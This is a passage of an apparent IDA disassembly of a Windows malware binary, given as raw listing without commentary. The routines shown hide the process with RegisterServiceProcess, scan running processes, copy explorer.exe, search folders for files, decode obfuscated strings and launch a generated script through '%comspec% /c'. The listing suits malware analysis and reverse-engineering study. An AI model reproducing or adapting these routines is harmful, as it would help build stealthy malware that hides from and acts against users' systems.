		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CF40	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CFC0:				; CODE XREF: ___:loc_40228Ej
		push	0FFFFFFFFh
		push	offset loc_43A086
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D040	proc near		; CODE XREF: sub_40227Aj

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_511AE4
		push	esi
		push	offset aS_1	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		call	near ptr 2870000h
		nop
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D107


loc_40D090:				; CODE XREF: sub_40D040+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D0F7
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40D0AA
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D0F7
		cmp	al, 2Eh
		jz	short loc_40D0F7


loc_40D0AA:				; CODE XREF: sub_40D040+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_444684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_40227A
		add	esp, 2Ch
		mov	ebp, eax


loc_40D0F7:				; CODE XREF: sub_40D040+55j
					; sub_40D040+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40D090


loc_40D107:				; CODE XREF: sub_40D040+4Ej
		push	ebx
		call	near ptr 2850517h
		nop
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_444684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D19B


loc_40D148:				; CODE XREF: sub_40D040+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_40152D
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40D148


loc_40D19B:				; CODE XREF: sub_40D040+106j
		push	ebx
		nop
		call	near ptr 2850517h
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40D040	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D210	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40D210	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D3C0:				; CODE XREF: ___:004013CFj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2871BC3h
		push	eax
		nop
		call	near ptr 2871069h
		mov	eax, dword_449070
		test	eax, eax
		jz	loc_40D4E3
		mov	ecx, dword_44906C
		test	ecx, ecx
		jz	loc_40D4E3
		mov	ecx, dword_448F38
		test	ecx, ecx
		jz	loc_40D4E3
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_449068, eax
		jz	loc_40D4E3
		push	ebp
		push	offset dword_448F40
		push	eax
		xor	ebp, ebp
		mov	dword_448F40, 128h
		call	dword_44906C	; Process32First
		test	eax, eax
		jz	loc_40D4CC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_511AE0
		push	edi


loc_40D44D:				; CODE XREF: ___:0040D4C7j
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_448F64
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_448F64
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4B3
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_448F64
		mov	ecx, ebx
		call	sub_40168B
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D4B4


loc_40D4B3:				; CODE XREF: ___:0040D48Bj
		inc	ebp


loc_40D4B4:				; CODE XREF: ___:0040D4B1j
		mov	eax, dword_449068
		push	offset dword_448F40
		push	eax
		call	dword_448F38	; Process32Next
		test	eax, eax
		jnz	short loc_40D44D
		pop	edi
		pop	esi
		pop	ebx


loc_40D4CC:				; CODE XREF: ___:0040D437j
		mov	ecx, dword_449068
		push	ecx
		call	near ptr 2830942h
		nop
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D4E3:				; CODE XREF: ___:0040D3E6j
					; ___:0040D3F4j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D540:				; CODE XREF: ___:00401FAFj
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		call	near ptr 2880B61h
		nop
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_5118F0
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 28807AFh
		mov	ebx, dword_5118E0
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D606
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 2880000h
		push	esi
		call	ebx


loc_40D606:				; CODE XREF: ___:0040D5A9j
					; ___:0040D5EBj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D660	proc near		; CODE XREF: sub_401B6Dj

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D660
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015E1
		lea	ecx, [esp+1A8h+var_184]
		call	sub_40142E
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C71
		push	eax
		push	0
		call	near ptr 2871BC3h
		nop
		push	eax
		call	near ptr 2871069h
		nop
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	near ptr 27E07CFh
		nop
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D751
		mov	edi, dword_511918
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_449074, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_449070, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44906C, eax
		call	edi
		mov	dword_448F38, eax
		mov	eax, dword_449074
		test	eax, eax
		jz	short loc_40D751
		push	ebx
		push	0
		call	eax


loc_40D751:				; CODE XREF: sub_40D660+A7j
					; sub_40D660+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402135
		test	eax, eax
		jnz	short loc_40D788
		mov	al, byte_44915F
		test	al, al
		jz	short loc_40D788
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D788:				; CODE XREF: sub_40D660+10Dj
					; sub_40D660+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019C4
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_40D660	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 38D4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3EB4E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3E7CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E70E848h
		dd 8D50FFFFh, 0A8248Ch,	10680000h, 5100444Bh, 1ED458E8h
		dd 3D8B9000h, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3CD9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 42262BE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CA3h
		dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h
		dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B08h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3DCAh,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 0E8900000h,	23E2ABDh, 874C085h, 0E890006Ah
		dd 7782C3FEh, 24244C8Dh, 0A42484C6h, 1,	0FF3795E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3781E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBF0	proc near		; CODE XREF: sub_401195j
		mov	al, byte_449161
		test	al, al
		jz	short loc_40DC04
		push	offset word_449162
		nop
		call	near ptr 27E0BD7h


loc_40DC04:				; CODE XREF: sub_40DBF0+7j
		mov	al, 1
		retn
sub_40DBF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DC20	proc near		; CODE XREF: sub_401E79j

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DC20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		call	near ptr 2871BC3h
		nop
		push	eax
		nop
		call	near ptr 2871069h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27D0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017EE
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_444684
		push	ecx
		call	sub_5FADE9
		nop
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 28502BBh
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E178
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_40142E
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019C4
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+720h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+728h+var_4], 2
		call	sub_4019C4
		add	esp, 48h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019C4
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+72Ch+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+734h+var_4], 4
		call	sub_4019C4
		add	esp, 54h
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019C4
		mov	[esp+6FCh+var_6C8], eax
		mov	byte ptr [esp+6FCh+var_4], 6
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+724h+var_5D4]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 4Ch
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019C4
		mov	[esp+710h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+744h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+74Ch+var_4], 8
		call	sub_4019C4
		add	esp, 6Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		push	18h
		push	5
		push	4Eh
		push	14h
		mov	byte ptr [esp+744h+var_4], 9
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019C4
		mov	[esp+75Ch+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+774h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+77Ch+var_4], 0Ah
		call	sub_4019C4
		add	esp, 9Ch
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019C4
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017EE
		push	eax
		lea	edx, [esp+70Ch+var_6AC]
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		push	edx
		call	sub_40102D
		add	esp, 34h
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		lea	ecx, [esp+6E0h+var_64C]
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 27E0000h
		push	esi
		nop
		call	near ptr 2830942h
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 2871BC3h
		push	eax
		call	near ptr 2871069h
		nop
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		nop
		call	sub_5FADE9
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		call	near ptr 2800000h
		nop
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [esp+700h+var_110]
		push	eax
		push	0
		nop
		call	near ptr 27F0531h
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E178:				; CODE XREF: sub_40DC20+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DC20	endp

; ---------------------------------------------------------------------------
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E2F0	proc near		; CODE XREF: sub_401730j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
